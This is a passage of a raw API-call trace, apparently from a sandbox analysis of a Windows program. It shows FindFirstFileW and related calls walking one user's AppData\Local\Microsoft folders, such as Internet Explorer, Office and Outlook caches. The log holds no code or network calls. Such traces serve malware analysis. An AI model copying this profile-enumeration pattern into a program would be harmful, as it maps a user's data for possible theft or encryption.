hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.849] GetProcessHeap () returned 0x550000 [0279.849] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.850] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.850] GetProcessHeap () returned 0x550000 [0279.850] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.032] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.032] GetProcessHeap () returned 0x550000 [0280.032] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.033] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.033] GetProcessHeap () returned 0x550000 [0280.033] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.033] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.033] GetProcessHeap () returned 0x550000 [0280.033] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.033] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.034] GetProcessHeap () returned 0x550000 [0280.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.034] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.034] GetProcessHeap () returned 0x550000 [0280.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.034] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.034] GetProcessHeap () returned 0x550000 [0280.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.035] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.086] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.087] GetProcessHeap () returned 0x550000 [0280.087] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.087] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.087] GetProcessHeap () returned 0x550000 [0280.087] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.087] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0280.087] GetProcessHeap () returned 0x550000 [0280.087] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0280.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0280.190] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0280.191] GetProcessHeap () returned 0x550000 [0280.191] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0280.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0280.404] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0280.405] GetProcessHeap () returned 0x550000 [0280.405] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0280.405] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.405] GetProcessHeap () returned 0x550000 [0280.405] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0280.405] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.405] GetProcessHeap () returned 0x550000 [0280.405] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.472] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.472] GetProcessHeap () returned 0x550000 [0280.472] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0280.472] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0280.472] GetProcessHeap () returned 0x550000 [0280.472] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0280.475] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.560] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.560] GetProcessHeap () returned 0x550000 [0280.560] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.560] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.561] GetProcessHeap () returned 0x550000 [0280.561] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.561] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.561] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.561] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.561] GetProcessHeap () returned 0x550000 [0280.561] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.561] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0280.561] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0280.561] GetProcessHeap () returned 0x550000 [0280.562] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0280.562] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.562] GetProcessHeap () returned 0x550000 [0280.562] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.578] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.579] GetProcessHeap () returned 0x550000 [0280.579] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.579] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0280.579] GetProcessHeap () returned 0x550000 [0280.579] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0280.581] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8ae80e80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8ae80e80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0280.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0280.664] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0280.664] GetProcessHeap () returned 0x550000 [0280.664] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0280.664] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0280.664] GetProcessHeap () returned 0x550000 [0280.664] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0280.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0280.704] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0280.704] GetProcessHeap () returned 0x550000 [0280.704] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0280.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0280.707] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0280.707] GetProcessHeap () returned 0x550000 [0280.708] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0280.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0280.708] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0280.708] GetProcessHeap () returned 0x550000 [0280.708] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0280.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0280.709] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1024\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, 